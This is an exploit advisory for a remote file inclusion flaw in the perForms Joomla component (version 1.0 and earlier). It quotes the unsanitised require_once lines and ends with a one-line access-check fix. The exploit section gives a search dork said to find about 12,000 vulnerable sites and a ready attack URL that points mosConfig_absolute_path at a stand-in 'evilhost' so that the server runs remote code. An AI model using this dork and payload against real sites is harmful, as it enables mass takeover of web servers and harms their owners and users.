perForms <= 1.0 ([mosConfig_absolute_path]) Remote File Inclusion

perForms <= 1.0 ([mosConfig_absolute_path]) Remote File Inclusion

Remote : Yes
Critical Level : High

Vuln founded in a log file: lazy 0day!!! :D

Description:

Application :  perForms Joomla Component
Version : latest version [1.0]
URL : http://forge.joomla.org/sf/projects/performs

Variable $mosConfig_absolute_path not sanitized: xpl works with register_globals=on 

in /components/com_performs/com_performs/performs.php on lines 6-10

require_once( $mosConfig_absolute_path."/administrator/components/com_performs/lib/lib_template.php"
);
require_once( $mosConfig_absolute_path."/administrator/components/com_performs/lib/lib_valid.php" );
require_once( $mosConfig_absolute_path."/administrator/components/com_performs/lib/lib_phpForm.php" );
require_once( $mosConfig_absolute_path."/administrator/components/com_performs/lib/myLib.php" );
require_once($mosConfig_absolute_path."/administrator/components/com_performs/class.performs.php");


Exploit:
~~~~~~~~

dork: inurl:"com_performs" -> founds ~12.000 sites (!)

http://www.vuln.com/components/com_performs/performs.php?mosConfig_absolute_path=http://evilhost


Fix
~~~~

Add before code:

defined('_VALID_MOS') or die('Direct access to this location is not allowed.');


Thx
~~~~

Who works for better code and better life!


----------------------------------------------------------------------------------------------------